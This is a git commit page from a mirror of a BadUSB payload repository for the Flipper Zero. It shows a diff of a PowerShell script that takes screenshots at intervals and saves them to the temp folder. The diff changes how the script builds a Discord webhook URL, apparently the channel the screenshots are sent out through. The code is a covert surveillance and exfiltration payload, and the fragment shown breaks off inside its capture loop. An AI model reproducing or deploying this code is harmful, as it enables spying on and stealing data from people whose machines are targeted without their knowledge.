mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-27 07:14:23 -08:00
Update main.ps1
This commit is contained in:
@@ -1,9 +1,11 @@
|
||||
$hookurl = "$dc"
|
||||
|
||||
$seconds = 30 # Screenshot interval
|
||||
$a = 1 # Sceenshot amount
|
||||
|
||||
# shortened URL Detection
|
||||
if ($hookurl.Ln -ne 121){Write-Host "Shortened Webhook URL Detected.." ; $hookurl = (irm $hookurl).url}
|
||||
$hookurl = "$dc"
|
||||
if ($hookurl.Length -lt 120){
|
||||
$hookurl = ("https://discord.com/api/webhooks/" + "$dc")
|
||||
}
|
||||
|
||||
While ($a -gt 0){
|
||||
$Filett = "$env:temp\SC.png"
|
||||
|
||||
Reference in New Issue
Block a user